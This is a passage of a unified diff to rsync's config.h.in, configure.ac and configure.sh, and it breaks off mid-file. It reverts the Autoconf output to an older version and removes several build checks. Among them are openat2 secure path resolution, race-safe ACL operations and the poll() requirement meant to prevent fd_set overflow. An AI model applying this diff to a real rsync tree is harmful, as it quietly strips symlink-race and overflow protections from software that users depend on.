by sizeof. */\n+/* The size of `int16_t', as computed by sizeof. */\n #undef SIZEOF_INT16_T\n \n-/* The size of 'int32_t', as computed by sizeof. */\n+/* The size of `int32_t', as computed by sizeof. */\n #undef SIZEOF_INT32_T\n \n-/* The size of 'int64_t', as computed by sizeof. */\n+/* The size of `int64_t', as computed by sizeof. */\n #undef SIZEOF_INT64_T\n \n-/* The size of 'long', as computed by sizeof. */\n+/* The size of `long', as computed by sizeof. */\n #undef SIZEOF_LONG\n \n-/* The size of 'long long', as computed by sizeof. */\n+/* The size of `long long', as computed by sizeof. */\n #undef SIZEOF_LONG_LONG\n \n-/* The size of 'off64_t', as computed by sizeof. */\n+/* The size of `off64_t', as computed by sizeof. */\n #undef SIZEOF_OFF64_T\n \n-/* The size of 'off_t', as computed by sizeof. */\n+/* The size of `off_t', as computed by sizeof. */\n #undef SIZEOF_OFF_T\n \n-/* The size of 'short', as computed by sizeof. */\n+/* The size of `short', as computed by sizeof. */\n #undef SIZEOF_SHORT\n \n-/* The size of 'time_t', as computed by sizeof. */\n+/* The size of `time_t', as computed by sizeof. */\n #undef SIZEOF_TIME_T\n \n-/* The size of 'uint16_t', as computed by sizeof. */\n+/* The size of `uint16_t', as computed by sizeof. */\n #undef SIZEOF_UINT16_T\n \n-/* The size of 'uint32_t', as computed by sizeof. */\n+/* The size of `uint32_t', as computed by sizeof. */\n #undef SIZEOF_UINT32_T\n \n /* If using the C implementation of alloca, define if you know the\n@@ -836,7 +774,7 @@\n \tSTACK_DIRECTION = 0 => direction of growth unknown */\n #undef STACK_DIRECTION\n \n-/* Define to 1 if all of the C89 standard headers exist (not just the ones\n+/* Define to 1 if all of the C90 standard headers exist (not just the ones\n    required in a freestanding environment). This macro is provided for\n    backward compatibility; new code need not use it. */\n #undef STDC_HEADERS\n@@ -844,12 +782,6 @@\n /* Define to 1 to add support for ACLs */\n #undef SUPPORT_ACLS\n \n-/* Define to 1 to do POSIX ACL ops via fd/at xattr syscalls (lib/acl.c) */\n-#undef SUPPORT_ACL_FD\n-\n-/* Undefine if you do not want IDN support. By default this is defined. */\n-#undef SUPPORT_IDN\n-\n /* Undefine if you do not want LZ4 compression. By default this is defined. */\n #undef SUPPORT_LZ4\n \n@@ -902,29 +834,23 @@\n /* Define _GNU_SOURCE so that we get all necessary prototypes */\n #undef _GNU_SOURCE\n \n-/* Define to 1 on platforms where this makes off_t a 64-bit type. */\n+/* Define for large files, on AIX-style hosts. */\n #undef _LARGE_FILES\n \n-/* Number of bits in time_t, on hosts where this is settable. */\n-#undef _TIME_BITS\n-\n-/* Define to 1 on platforms where this makes time_t a 64-bit type. */\n-#undef __MINGW_USE_VC2005_COMPAT\n-\n-/* Define as 'int' if <sys/types.h> doesn't define. */\n+/* Define to `int' if <sys/types.h> doesn't define. */\n #undef gid_t\n \n-/* Define to '__inline__' or '__inline' if that's what the C compiler\n+/* Define to `__inline__' or `__inline' if that's what the C compiler\n    calls it, or to nothing if 'inline' is not supported under any name.  */\n #ifndef __cplusplus\n #undef inline\n #endif\n \n-/* Define as 'unsigned int' if <stddef.h> doesn't define. */\n+/* Define to `unsigned int' if <sys/types.h> does not define. */\n #undef size_t\n \n /* type to use in place of socklen_t if not defined */\n #undef socklen_t\n \n-/* Define as 'int' if <sys/types.h> doesn't define. */\n+/* Define to `int' if <sys/types.h> doesn't define. */\n #undef uid_t\ndiff --git a/configure.ac b/configure.ac\nindex 5c6ce89..d2bcb47 100644\n--- a/configure.ac\n+++ b/configure.ac\n@@ -5,7 +5,7 @@ AC_INIT([rsync],[ ],[https://rsync.samba.org/bug-tracking.html])\n AC_C_BIGENDIAN\n AC_HEADER_DIRENT\n AC_HEADER_SYS_WAIT\n-AC_CHECK_HEADERS(poll.h sys/fcntl.h sys/select.h fcntl.h sys/time.h sys/unistd.h \\\n+AC_CHECK_HEADERS(sys/fcntl.h sys/select.h fcntl.h sys/time.h sys/unistd.h \\\n     unistd.h utime.h compat.h sys/param.h ctype.h sys/wait.h sys/stat.h \\\n     sys/ioctl.h sys/filio.h string.h stdlib.h sys/socket.h sys/mode.h grp.h \\\n     sys/un.h sys/attr.h arpa/inet.h arpa/nameser.h locale.h sys/types.h \\\n@@ -13,7 +13,7 @@ AC_CHECK_HEADERS(poll.h sys/fcntl.h sys/select.h fcntl.h sys/time.h sys/unistd.h\n     sys/acl.h acl/libacl.h attr/xattr.h sys/xattr.h sys/extattr.h dl.h \\\n     popt.h popt/popt.h linux/falloc.h netinet/in_systm.h netgroup.h \\\n     zlib.h xxhash.h openssl/md4.h openssl/md5.h zstd.h lz4.h sys/file.h \\\n-    sys/resource.h bsd/string.h idn2.h wchar.h linux/ioprio.h sys/syscall.h)\n+    bsd/string.h)\n AC_CHECK_HEADERS([netinet/ip.h], [], [], [[#include <netinet/in.h>]])\n AC_HEADER_MAJOR_FIXED\n \n@@ -59,7 +59,6 @@ AC_PROG_CXX\n AC_PROG_AWK\n AC_PROG_EGREP\n AC_PROG_INSTALL\n-AC_CHECK_TOOL([STRIP], [strip], [strip])\n AC_PROG_MKDIR_P\n AC_SUBST(SHELL)\n AC_PATH_PROG([PERL], [perl])\n@@ -83,28 +82,6 @@ if test x\"$enable_profile\" = x\"yes\"; then\n \tCFLAGS=\"$CFLAGS -pg\"\n fi\n \n-dnl Coverage build (gcov) for `make coverage`. NOTE: --enable-profile above is\n-dnl gprof (-pg) and is NOT coverage. -O0 keeps branch coverage meaningful;\n-dnl -fprofile-update=atomic keeps the shared .gcda counters correct while the\n-dnl suite runs many rsync processes in parallel.\n-AC_ARG_ENABLE(coverage,\n-\tAS_HELP_STRING([--enable-coverage],[build with gcov instrumentation for `make coverage`]))\n-if test x\"$enable_coverage\" = x\"yes\"; then\n-\tCFLAGS=\"$CFLAGS --coverage -fprofile-update=atomic -O0\"\n-\tCXXFLAGS=\"$CXXFLAGS --coverage -fprofile-update=atomic -O0\"\n-\tLDFLAGS=\"$LDFLAGS --coverage\"\n-\tAC_DEFINE([GCOV_COVERAGE], 1,\n-\t\t[Flush gcov counters at exit_cleanup: rsync's children exit via _exit(), which bypasses the gcov atexit handler, so without this no .gcda is written for the receiver/generator/daemon-worker processes.])\n-fi\n-\n-dnl openat2(RESOLVE_BENEATH) is used on Linux 5.6+ for the secure resolver.\n-dnl --disable-openat2 forces the portable per-component O_NOFOLLOW fallback to\n-dnl run as the primary resolver on ordinary Linux, so that tier is exercised\n-dnl (and coverage-counted) without needing a pre-5.6 kernel. Behaviour-neutral\n-dnl by default (the knob only REMOVES a tier when explicitly disabled).\n-AC_ARG_ENABLE(openat2,\n-\tAS_HELP_STRING([--disable-openat2],[do not use Linux openat2(RESOLVE_BENEATH); force the portable resolver (for exercising the fallback tier)]))\n-\n AC_MSG_CHECKING([if md2man can create manpages])\n if test x\"$ac_cv_path_PYTHON3\" = x; then\n     AC_MSG_RESULT(no - python3 not found)\n@@ -264,13 +241,6 @@ AC_DEFINE_UNQUOTED(NOBODY_GROUP, \"$NOBODY_GROUP\", [unprivileged group for unpriv\n # rolling-checksum SIMD optimizations\n ROLL_SIMD=\n \n-# Autoconf reports x86-64 as amd64 on FreeBSD, while the object-variable\n-# suffixes in Makefile.in use x86_64 on every platform.\n-asm_cpu=\"$host_cpu\"\n-if test x\"$asm_cpu\" = x\"amd64\"; then\n-    asm_cpu=x86_64\n-fi\n-\n AC_MSG_CHECKING([whether to enable rolling-checksum SIMD optimizations])\n AC_ARG_ENABLE(roll-simd,\n     AS_HELP_STRING([--enable-roll-simd],[enable/disable to control rolling-checksum SIMD optimizations (requires c++)]))\n@@ -322,7 +292,7 @@ if test x\"$enable_roll_simd\" != x\"no\"; then\n \tAC_LANG(C)\n \tif test x\"$CXX_OK\" = x\"yes\"; then\n \t    # AC_MSG_RESULT() is called below.\n-\t    ROLL_SIMD=\"$asm_cpu\"\n+\t    ROLL_SIMD=\"$host_cpu\"\n \telif test x\"$enable_roll_simd\" = x\"yes\"; then\n \t    AC_MSG_RESULT(error)\n \t    AC_MSG_ERROR(The rolling-checksum SIMD compilation test failed.\n@@ -361,28 +331,6 @@ AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[ ]], [[return 0;]])],\n CFLAGS=\"$OLD_CFLAGS\"\n AC_SUBST(NOEXECSTACK)\n \n-dnl We need both the SYS_openat2 syscall number and <linux/openat2.h> (for\n-dnl struct open_how / RESOLVE_BENEATH); some setups have one without the other.\n-AC_CACHE_CHECK([for openat2],rsync_cv_HAVE_OPENAT2,[\n-    AC_COMPILE_IFELSE([\n-        AC_LANG_PROGRAM([[\n-#include <sys/syscall.h>\n-#include <linux/openat2.h>\n-]], [[\n-struct open_how how;\n-how.resolve = RESOLVE_BENEATH;\n-return SYS_openat2 + (int)how.resolve;\n-]])\n-    ],\n-    [rsync_cv_HAVE_OPENAT2=yes], [rsync_cv_HAVE_OPENAT2=no])\n-])\n-if test x\"$enable_openat2\" != x\"no\"; then\n-    if test x\"$rsync_cv_HAVE_OPENAT2\" = x\"yes\"; then\n-      AC_DEFINE([HAVE_OPENAT2], 1,\n-        [Define to use Linux openat2(RESOLVE_BENEATH) in secure_relative_open where available.])\n-    fi\n-fi\n-\n # arrgh. libc in some old debian version screwed up the largefile\n # stuff, getting byte range locking wrong\n AC_CACHE_CHECK([for broken largefile support],rsync_cv_HAVE_BROKEN_LARGEFILE,[\n@@ -440,17 +388,21 @@ AS_HELP_STRING([--disable-ipv6],[disable to omit ipv6 support]),\n \t;;\n   esac ],\n \n-  AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[\n+  AC_RUN_IFELSE([AC_LANG_SOURCE([[ /* AF_INET6 availability check */\n+#include <stdlib.h>\n #include <sys/types.h>\n #include <sys/socket.h>\n-#include <netinet/in.h>\n-]], [[\n-struct sockaddr_in6 sa6;\n-(void)sa6;\n-(void)AF_INET6;\n+int main()\n+{\n+   if (socket(AF_INET6, SOCK_STREAM, 0) < 0)\n+     exit(1);\n+   else\n+     exit(0);\n+}\n ]])],\n   [AC_MSG_RESULT(yes)\n-  AC_DEFINE(INET6, 1, [true if you have IPv6])],\n+  AC_DEFINE(INET6, 1, true if you have IPv6)],\n+  [AC_MSG_RESULT(no)],\n   [AC_MSG_RESULT(no)]\n ))\n \n@@ -532,7 +484,7 @@ fi\n \n if test x\"$enable_md5_asm\" != x\"no\"; then\n     if test x\"$host_cpu\" = x\"x86_64\" || test x\"$host_cpu\" = x\"amd64\"; then\n-\tMD5_ASM=\"$asm_cpu\"\n+\tMD5_ASM=\"$host_cpu\"\n     elif test x\"$enable_md5_asm\" = x\"yes\"; then\n         AC_MSG_RESULT(unavailable)\n         AC_MSG_ERROR(The ASM optimizations are currently x86_64|amd64 only.\n@@ -561,7 +513,7 @@ if test x\"$ROLL_SIMD\" = x\"\"; then\n fi\n \n if test x\"$enable_roll_asm\" = x\"yes\"; then\n-    ROLL_ASM=\"$asm_cpu\"\n+    ROLL_ASM=\"$host_cpu\"\n     AC_MSG_RESULT([yes ($ROLL_ASM)])\n     AC_DEFINE(USE_ROLL_ASM, 1, [Define to 1 to enable rolling-checksum ASM optimizations (requires --enable-roll-simd)])\n     ROLL_ASM='$(ROLL_ASM_'\"$ROLL_ASM)\"\n@@ -634,27 +586,6 @@ else\n     AC_MSG_RESULT(no)\n fi\n \n-AC_MSG_CHECKING([whether to enable IDN support])\n-AC_ARG_ENABLE([idn],\n-        AS_HELP_STRING([--disable-idn], [disable to omit IDN (Internationalized Domain Name) support]))\n-AH_TEMPLATE([SUPPORT_IDN],\n-[Undefine if you do not want IDN support.  By default this is defined.])\n-if test x\"$enable_idn\" != x\"no\"; then\n-    if test x\"$ac_cv_header_idn2_h\" = x\"yes\"; then\n-\tAC_MSG_RESULT(yes)\n-\tAC_SEARCH_LIBS(idn2_lookup_ul, idn2,\n-\t    [AC_DEFINE(SUPPORT_IDN)],\n-\t    [err_msg=\"$err_msg$nl- Failed to find idn2_lookup_ul function in idn2 lib.\";\n-\t     no_lib=\"$no_lib idn\"])\n-    else\n-\tAC_MSG_RESULT(no)\n-\terr_msg=\"$err_msg$nl- Failed to find idn2.h for IDN support.\"\n-\tno_lib=\"$no_lib idn\"\n-    fi\n-else\n-    AC_MSG_RESULT(no)\n-fi\n-\n if test x\"$no_lib\" != x; then\n     echo \"\"\n     echo \"Configure found the following issues:\"\n@@ -938,19 +869,6 @@ AC_HAVE_TYPE([struct stat64], [#include <stdio.h>\n \n # if we can't find strcasecmp, look in -lresolv (for Unixware at least)\n #\n-dnl rsync's I/O readiness loops use poll() rather than select() so that a\n-dnl file descriptor at or above FD_SETSIZE cannot overflow an fd_set (which\n-dnl is undefined behaviour and could hang the transfer).  poll() is in\n-dnl POSIX.1-2001; fail early and clearly if this target lacks it.\n-dnl\n-dnl io.c and socket.c include <poll.h> unconditionally, so the HEADER has to\n-dnl be required too: a system that exposes poll() through some other header\n-dnl would otherwise pass configure and then fail to compile.\n-AC_CHECK_FUNCS([poll], , [AC_MSG_ERROR([rsync requires poll(); please report the platform to the rsync developers])])\n-if test x\"$ac_cv_header_poll_h\" != x\"yes\"; then\n-    AC_MSG_ERROR([rsync requires <poll.h>; please report the platform to the rsync developers])\n-fi\n-\n AC_CHECK_FUNCS(strcasecmp)\n if test x\"$ac_cv_func_strcasecmp\" = x\"no\"; then\n     AC_CHECK_LIB(resolv, strcasecmp)\n@@ -968,29 +886,16 @@ dnl AC_FUNC_MEMCMP\n \n AC_FUNC_UTIME_NULL\n AC_FUNC_ALLOCA\n-AC_CHECK_FUNCS(waitpid wait4 getcwd chown chmod lchmod mknod mkfifo fdopendir \\\n-    getrlimit setrlimit \\\n+AC_CHECK_FUNCS(waitpid wait4 getcwd chown chmod lchmod mknod mkfifo \\\n     fchmod fstat ftruncate strchr readlink link utime utimes lutimes strftime \\\n-    chflags getattrlist mktime innetgr linkat mknodat mkfifoat \\\n+    chflags getattrlist mktime innetgr linkat \\\n     memmove lchown vsnprintf snprintf vasprintf asprintf setsid strpbrk \\\n     strlcat strlcpy stpcpy strtol mallinfo mallinfo2 getgroups setgroups geteuid getegid \\\n     setlocale setmode open64 lseek64 mkstemp64 mtrace va_copy __va_copy \\\n     seteuid strerror putenv iconv_open locale_charset nl_langinfo getxattr \\\n     extattr_get_link sigaction sigprocmask setattrlist getgrouplist \\\n-    initgroups utimensat futimens posix_fallocate attropen setvbuf nanosleep usleep \\\n-    setenv unsetenv mbrtowc setpriority)\n-\n-dnl dirfd() is a macro or static inline on several systems (the BSDs), so the\n-dnl default AC_CHECK_FUNCS link probe -- which declares `char dirfd(void);` and\n-dnl links against a bare symbol -- gives a false negative there.  Probe it with a\n-dnl real compile+link that includes <dirent.h> and actually calls dirfd().\n-AC_CACHE_CHECK([for dirfd], rsync_cv_HAVE_DIRFD,\n-  [AC_LINK_IFELSE([AC_LANG_PROGRAM([[#include <dirent.h>]],\n-    [[DIR *d = opendir(\".\"); return d ? dirfd(d) < -1 : 0;]])],\n-    [rsync_cv_HAVE_DIRFD=yes], [rsync_cv_HAVE_DIRFD=no])])\n-if test x\"$rsync_cv_HAVE_DIRFD\" = x\"yes\"; then\n-    AC_DEFINE([HAVE_DIRFD], 1, [Define to 1 if you have a working dirfd() (function or macro).])\n-fi\n+    initgroups utimensat posix_fallocate attropen setvbuf nanosleep usleep \\\n+    setenv unsetenv)\n \n dnl cygwin iconv.h defines iconv_open as libiconv_open\n if test x\"$ac_cv_func_iconv_open\" != x\"yes\"; then\n@@ -1313,14 +1218,37 @@ if test x\"$rsync_cv_HAVE_SECURE_MKSTEMP\" = x\"yes\"; then\n fi\n \n \n-# Whether mknod()/mknodat() can create a FIFO or a unix-domain socket is a\n-# property of the target filesystem, not a build-time constant -- e.g. mknod\n-# makes sockets on Linux but not the BSDs/macOS/Solaris, and a single transfer\n-# can write to filesystems with different capabilities.  So rsync no longer\n-# probes this at configure time (a run-test that also misfired when cross-\n-# compiling); do_mknod*() just try mknod[at]() and, on failure, fall back to\n-# mkfifo[at]()/socket+bind() per call.  We only need the libc symbols, checked\n-# above via AC_CHECK_FUNCS (mknod mknodat mkfifo mkfifoat) -- all link tests.\n+AC_CACHE_CHECK([if mknod creates FIFOs],rsync_cv_MKNOD_CREATES_FIFOS,[\n+AC_RUN_IFELSE([AC_LANG_SOURCE([[\n+#include <stdio.h>\n+#include <sys/stat.h>\n+#include <errno.h>\n+#if HAVE_UNISTD_H\n+# include <unistd.h>\n+#endif\n+int main(void) { int rc, ec; char *fn = \"fifo-test\";\n+unlink(fn); rc = mknod(fn,S_IFIFO,0600); ec = errno; unlink(fn);\n+if (rc) {printf(\"(%d %d) \",rc,ec); return ec;}\n+return 0;}]])],[rsync_cv_MKNOD_CREATES_FIFOS=yes],[rsync_cv_MKNOD_CREATES_FIFOS=no],[rsync_cv_MKNOD_CREATES_FIFOS=cross])])\n+if test x\"$rsync_cv_MKNOD_CREATES_FIFOS\" = x\"yes\"; then\n+    AC_DEFINE(MKNOD_CREATES_FIFOS, 1, [Define to 1 if mknod() can create FIFOs.])\n+fi\n+\n+AC_CACHE_CHECK([if mknod creates sockets],rsync_cv_MKNOD_CREATES_SOCKETS,[\n+AC_RUN_IFELSE([AC_LANG_SOURCE([[\n+#include <stdio.h>\n+#include <sys/stat.h>\n+#include <errno.h>\n+#if HAVE_UNISTD_H\n+# include <unistd.h>\n+#endif\n+int main(void) { int rc, ec; char *fn = \"sock-test\";\n+unlink(fn); rc = mknod(fn,S_IFSOCK,0600); ec = errno; unlink(fn);\n+if (rc) {printf(\"(%d %d) \",rc,ec); return ec;}\n+return 0;}]])],[rsync_cv_MKNOD_CREATES_SOCKETS=yes],[rsync_cv_MKNOD_CREATES_SOCKETS=no],[rsync_cv_MKNOD_CREATES_SOCKETS=cross])])\n+if test x\"$rsync_cv_MKNOD_CREATES_SOCKETS\" = x\"yes\"; then\n+    AC_DEFINE(MKNOD_CREATES_SOCKETS, 1, [Define to 1 if mknod() can create sockets.])\n+fi\n \n #\n # The following test was mostly taken from the tcl/tk plus patches\n@@ -1464,7 +1392,7 @@ else\n \tAC_DEFINE(HAVE_LINUX_XATTRS, 1, [True if you have Linux xattrs (or equivalent)])\n \tAC_DEFINE(SUPPORT_XATTRS, 1)\n \tAC_DEFINE(NO_SYMLINK_USER_XATTRS, 1, [True if symlinks do not support user xattrs])\n-\tAC_SEARCH_LIBS(getxattr,attr)\n+\tAC_CHECK_LIB(attr,getxattr)\n \t;;\n     darwin*)\n \tAC_MSG_RESULT(Using OS X xattrs)\n@@ -1494,66 +1422,6 @@ else\n     esac\n fi\n \n-#################################################\n-# On Linux, POSIX ACLs are stored as the \"system.posix_acl_{access,default}\"\n-# xattrs, so we can get/set them through a held O_NOFOLLOW fd (fsetxattr) or a\n-# dirfd+leaf (setxattrat, AT_SYMLINK_NOFOLLOW) instead of the path-based libacl\n-# acl_*_file() calls -- making the operation safe against a parent-symlink race.\n-# This needs POSIX ACLs and the f/at xattr syscalls, which on Linux are\n-# available whenever <sys/xattr.h> (or <attr/xattr.h>) is -- independent of the\n-# -X feature (--disable-xattr-support), so we gate on the header, not\n-# enable_xattr_support.\n-AH_TEMPLATE([SUPPORT_ACL_FD],\n-[Define to 1 to do POSIX ACL ops via fd/at xattr syscalls (lib/acl.c)])\n-AH_TEMPLATE([HAVE_XATTRAT_SYSCALLS],\n-[Define to 1 if the setxattrat/getxattrat/removexattrat syscalls are available])\n-if test x\"$samba_cv_HAVE_POSIX_ACLS\" = x\"yes\" \\\n-   && { test x\"$ac_cv_header_sys_xattr_h\" = x\"yes\" || test x\"$ac_cv_header_attr_xattr_h\" = x\"yes\"; }; then\n-    case \"$host_os\" in\n-    *linux*)\n-\tAC_DEFINE(SUPPORT_ACL_FD, 1)\n-\tAC_CACHE_CHECK([for SYS_setxattrat],rsync_cv_have_sys_setxattrat,[\n-\tAC_COMPILE_IFELSE([AC_LANG_PROGRAM([[#include <sys/syscall.h>\n-#include <stdint.h>\n-#ifdef HAVE_UNISTD_H\n-#include <unistd.h>\n-#endif\n-struct xattr_args { uint64_t value; uint32_t size; uint32_t flags; };]],\n-\t[[struct xattr_args a; a.value = 0; a.size = 0; a.flags = 0;\n-\t  syscall(SYS_setxattrat, 0, \".\", 0, \"n\", &a, sizeof a);\n-\t  syscall(SYS_getxattrat, 0, \".\", 0, \"n\", &a, sizeof a);\n-\t  syscall(SYS_removexattrat, 0, \".\", 0, \"n\");]])],[rsync_cv_have_sys_setxattrat=yes],[rsync_cv_have_sys_setxattrat=no])])\n-\tif test x\"$rsync_cv_have_sys_setxattrat\" = x\"yes\"; then\n-\t    AC_DEFINE(HAVE_XATTRAT_SYSCALLS, 1)\n-\tfi\n-\t;;\n-    esac\n-fi\n-\n-#################################################\n-# Detect a patched libacl providing the race-safe\n-# *_at ACL entry points (acl_get_file_at/acl_set_file_at/acl_delete_def_file_at,\n-# ACL_1.3, unreleased upstream).  When present we route the race-safe ACL get/\n-# set/delete through them on Linux -- race-safe on every kernel (6.13+ uses\n-# *xattrat; older uses libacl's /proc/self/fd compat).  A stock -lacl lacks these\n-# symbols, so this stays undefined and the build falls back to lib/acl.c;\n-# detection must therefore run against the patched lib (CPPFLAGS/LDFLAGS).\n-AH_TEMPLATE([HAVE_LIBACL_AT],\n-[Define to 1 if libacl provides acl_get_file_at/acl_set_file_at/acl_delete_def_file_at])\n-if test x\"$samba_cv_HAVE_POSIX_ACLS\" = x\"yes\"; then\n-    case \"$host_os\" in\n-    *linux*)\n-\tAC_CHECK_LIB(acl, acl_get_file_at, [rsync_have_libacl_at=yes], [rsync_have_libacl_at=no])\n-\tif test x\"$rsync_have_libacl_at\" = x\"yes\"; then\n-\t    AC_CHECK_FUNCS([acl_set_file_at acl_delete_def_file_at], [], [rsync_have_libacl_at=no])\n-\tfi\n-\tif test x\"$rsync_have_libacl_at\" = x\"yes\"; then\n-\t    AC_DEFINE(HAVE_LIBACL_AT, 1)\n-\tfi\n-\t;;\n-    esac\n-fi\n-\n if test x\"$enable_acl_support\" = x\"no\" || test x\"$enable_xattr_support\" = x\"no\" || test x\"$enable_iconv\" = x\"no\"; then\n     AC_MSG_CHECKING([whether $CC supports -Wno-unused-parameter])\n     OLD_CFLAGS=\"$CFLAGS\"\ndiff --git a/configure.sh b/configure.sh\nindex 9aa1f8c..413a455 100755\n--- a/configure.sh\n+++ b/configure.sh\n@@ -1,11 +1,11 @@\n #! /bin/sh\n # Guess values for system-dependent variables and create Makefiles.\n-# Generated by GNU Autoconf 2.72 for rsync.\n+# Generated by GNU Autoconf 2.71 for rsync.\n #\n # Report bugs to <https://rsync.samba.org/bug-tracking.html>.\n #\n #\n-# Copyright (C) 1992-1996, 1998-2017, 2020-2023 Free Software Foundation,\n+# Copyright (C) 1992-1996, 1998-2017, 2020-2021 Free Software Foundation,\n # Inc.\n #\n #\n@@ -17,6 +17,7 @@\n \n # Be more Bourne compatible\n DUALCASE=1; export DUALCASE # for MKS sh\n+as_nop=:\n if test ${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1\n then :\n   emulate sh\n@@ -25,13 +26,12 @@ then :\n   # is contrary to our usage.  Disable this feature.\n   alias -g '${1+\"$@\"}'='\"$@\"'\n   setopt NO_GLOB_SUBST\n-else case e in #(\n-  e) case `(set -o) 2>/dev/null` in #(\n+else $as_nop\n+  case `(set -o) 2>/dev/null` in #(\n   *posix*) :\n     set -o posix ;; #(\n   *) :\n      ;;\n-esac ;;\n esac\n fi\n \n@@ -103,7 +103,7 @@ IFS=$as_save_IFS\n \n      ;;\n esac\n-# We did not find ourselves, most probably we were run as 'sh COMMAND'\n+# We did not find ourselves, most probably we were run as `sh COMMAND'\n # in which case we are not to be found in the path.\n if test \"x$as_myself\" = x; then\n   as_myself=$0\n@@ -133,14 +133,15 @@ case $- in # ((((\n esac\n exec $CONFIG_SHELL $as_opts \"$as_myself\" ${1+\"$@\"}\n # Admittedly, this is quite paranoid, since all the known shells bail\n-# out after a failed 'exec'.\n+# out after a failed `exec'.\n printf \"%s\\n\" \"$0: could not re-execute with $CONFIG_SHELL\" >&2\n exit 255\n   fi\n   # We don't want this to propagate to other subprocesses.\n           { _as_can_reexec=; unset _as_can_reexec;}\n if test \"x$CONFIG_SHELL\" = x; then\n-  as_bourne_compatible=\"if test \\${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1\n+  as_bourne_compatible=\"as_nop=:\n+if test \\${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1\n then :\n   emulate sh\n   NULLCMD=:\n@@ -148,13 +149,12 @@ then :\n   # is contrary to our usage.  Disable this feature.\n   alias -g '\\${1+\\\"\\$@\\\"}'='\\\"\\$@\\\"'\n   setopt NO_GLOB_SUBST\n-else case e in #(\n-  e) case \\`(set -o) 2>/dev/null\\` in #(\n+else \\$as_nop\n+  case \\`(set -o) 2>/dev/null\\` in #(\n   *posix*) :\n     set -o posix ;; #(\n   *) :\n      ;;\n-esac ;;\n esac\n fi\n \"\n@@ -172,9 +172,8 @@ as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; }\n if ( set x; as_fn_ret_success y && test x = \\\"\\$1\\\" )\n then :\n \n-else case e in #(\n-  e) exitcode=1; echo positional parameters were not saved. ;;\n-esac\n+else \\$as_nop\n+  exitcode=1; echo positional parameters were not saved.\n fi\n test x\\$exitcode = x0 || exit 1\n blah=\\$(echo \\$(echo blah))\n@@ -188,15 +187,14 @@ test \\$(( 1 + 1 )) = 2 || exit 1\"\n   if (eval \"$as_required\") 2>/dev/null\n then :\n   as_have_required=yes\n-else case e in #(\n-  e) as_have_required=no ;;\n-esac\n+else $as_nop\n+  as_have_required=no\n fi\n   if test x$as_have_required = xyes && (eval \"$as_suggested\") 2>/dev/null\n then :\n \n-else case e in #(\n-  e) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n+else $as_nop\n+  as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n as_found=false\n for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH\n do\n@@ -229,13 +227,12 @@ IFS=$as_save_IFS\n if $as_found\n then :\n \n-else case e in #(\n-  e) if { test -f \"$SHELL\" || test -f \"$SHELL.exe\"; } &&\n+else $as_nop\n+  if { test -f \"$SHELL\" || test -f \"$SHELL.exe\"; } &&\n \t      as_run=a \"$SHELL\" -c \"$as_bourne_compatible\"\"$as_required\" 2>/dev/null\n then :\n   CONFIG_SHELL=$SHELL as_have_required=yes\n-fi ;;\n-esac\n+fi\n fi\n \n \n@@ -257,7 +254,7 @@ case $- in # ((((\n esac\n exec $CONFIG_SHELL $as_opts \"$as_myself\" ${1+\"$@\"}\n # Admittedly, this is quite paranoid, since all the known shells bail\n-# out after a failed 'exec'.\n+# out after a failed `exec'.\n printf \"%s\\n\" \"$0: could not re-execute with $CONFIG_SHELL\" >&2\n exit 255\n fi\n@@ -277,8 +274,7 @@ $0: message. Then install a modern shell, or manually run\n $0: the script under such a shell if you do have one.\"\n   fi\n   exit 1\n-fi ;;\n-esac\n+fi\n fi\n fi\n SHELL=${CONFIG_SHELL-/bin/sh}\n@@ -317,6 +313,14 @@ as_fn_exit ()\n   as_fn_set_status $1\n   exit $1\n } # as_fn_exit\n+# as_fn_nop\n+# ---------\n+# Do nothing but, unlike \":\", preserve the value of $?.\n+as_fn_nop ()\n+{\n+  return $?\n+}\n+as_nop=as_fn_nop\n \n # as_fn_mkdir_p\n # -------------\n@@ -385,12 +389,11 @@ then :\n   {\n     eval $1+=\\$2\n   }'\n-else case e in #(\n-  e) as_fn_append ()\n+else $as_nop\n+  as_fn_append ()\n   {\n     eval $1=\\$$1\\$2\n-  } ;;\n-esac\n+  }\n fi # as_fn_append\n \n # as_fn_arith ARG...\n@@ -404,14 +407,21 @@ then :\n   {\n     as_val=$(( $* ))\n   }'\n-else case e in #(\n-  e) as_fn_arith ()\n+else $as_nop\n+  as_fn_arith ()\n   {\n     as_val=`expr \"$@\" || test $? -eq 1`\n-  } ;;\n-esac\n+  }\n fi # as_fn_arith\n \n+# as_fn_nop\n+# ---------\n+# Do nothing but, unlike \":\", preserve the value of $?.\n+as_fn_nop ()\n+{\n+  return $?\n+}\n+as_nop=as_fn_nop\n \n # as_fn_error STATUS ERROR [LINENO LOG_FD]\n # ----------------------------------------\n@@ -485,8 +495,6 @@ as_cr_alnum=$as_cr_Letters$as_cr_digits\n     /[$]LINENO/=\n   ' <$as_myself |\n     sed '\n-      t clear\n-      :clear\n       s/[$]LINENO.*/&-/\n       t lineno\n       b\n@@ -535,6 +543,7 @@ esac\n as_echo='printf %s\\n'\n as_echo_n='printf %s'\n \n+\n rm -f conf$$ conf$$.exe conf$$.file\n if test -d conf$$.dir; then\n   rm -f conf$$.dir/conf$$.file\n@@ -546,9 +555,9 @@ if (echo >conf$$.file) 2>/dev/null; then\n   if ln -s conf$$.file conf$$ 2>/dev/null; then\n     as_ln_s='ln -s'\n     # ... but there are two gotchas:\n-    # 1) On MSYS, both 'ln -s file dir' and 'ln file dir' fail.\n-    # 2) DJGPP < 2.04 has no symlinks; 'ln -s' creates a wrapper executable.\n-    # In both cases, we have to default to 'cp -pR'.\n+    # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail.\n+    # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable.\n+    # In both cases, we have to default to `cp -pR'.\n     ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe ||\n       as_ln_s='cp -pR'\n   elif ln conf$$.file conf$$ 2>/dev/null; then\n@@ -573,12 +582,10 @@ as_test_x='test -x'\n as_executable_p=as_fn_executable_p\n \n # Sed expression to map a string onto a valid CPP 